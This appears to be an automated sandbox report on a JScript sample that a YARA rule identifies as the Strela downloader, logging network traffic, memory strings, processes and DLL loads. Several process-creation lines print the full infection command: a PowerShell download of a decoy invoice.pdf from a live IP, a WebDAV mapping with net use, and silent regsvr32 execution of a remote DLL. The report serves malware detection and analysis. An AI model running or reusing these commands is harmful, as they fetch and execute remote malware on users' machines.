HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1322929492.00000229ED797000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1321614909.00000229EF48F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1323368869.00000229EF491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1383802022.000002CAAF179000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1383802022.000002CAAF148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1383802022.000002CAAF179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/w=
Source: svchost.exe, 00000009.00000002.2603913864.000001FBE5A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1390768863.000001FBE5C00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7592, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 489131343024428850.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rrlbhz3k.xuu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1752,i,13136889810547784429,7287884060939422438,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1752,i,13136889810547784429,7287884060939422438,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
